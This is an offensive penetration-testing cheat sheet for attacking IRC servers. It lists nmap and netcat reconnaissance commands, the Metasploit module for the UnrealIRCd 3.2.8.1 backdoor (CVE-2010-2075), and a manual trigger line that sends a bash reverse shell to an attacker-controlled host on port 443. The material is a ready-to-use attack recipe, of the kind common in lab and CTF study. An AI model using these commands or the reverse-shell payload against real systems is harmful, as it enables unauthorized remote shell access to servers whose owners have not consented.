IRC <tcp 6667 / 6697>

IRC daemons themselves rarely give shell — look for backdoored versions.

Nmap

01nmap -p6660-6669,6697 --script "irc-botnet-channels,irc-info,irc-unrealircd-backdoor" -sV $ip

Banner + version

01nc -nv $ip 6667
02  NICK pwn
03  USER pwn 0 * :pwn
04  VERSION

Known RCE

• UnrealIRCd 3.2.8.1 backdoor — CVE-2010-2075

  code

  copy

  01use exploit/unix/irc/unreal_ircd_3281_backdoor

• InspIRCd older versions — DoS / cert bypass

Manual UnrealIRCd trigger

01nc -nv $ip 6667
02AB;bash -c 'bash -i >& /dev/tcp/$attacker/443 0>&1'

Prefix with AB; — the backdoor eats the first two chars.

Channel recon

01/list
02/whois <nick>
03/who <channel>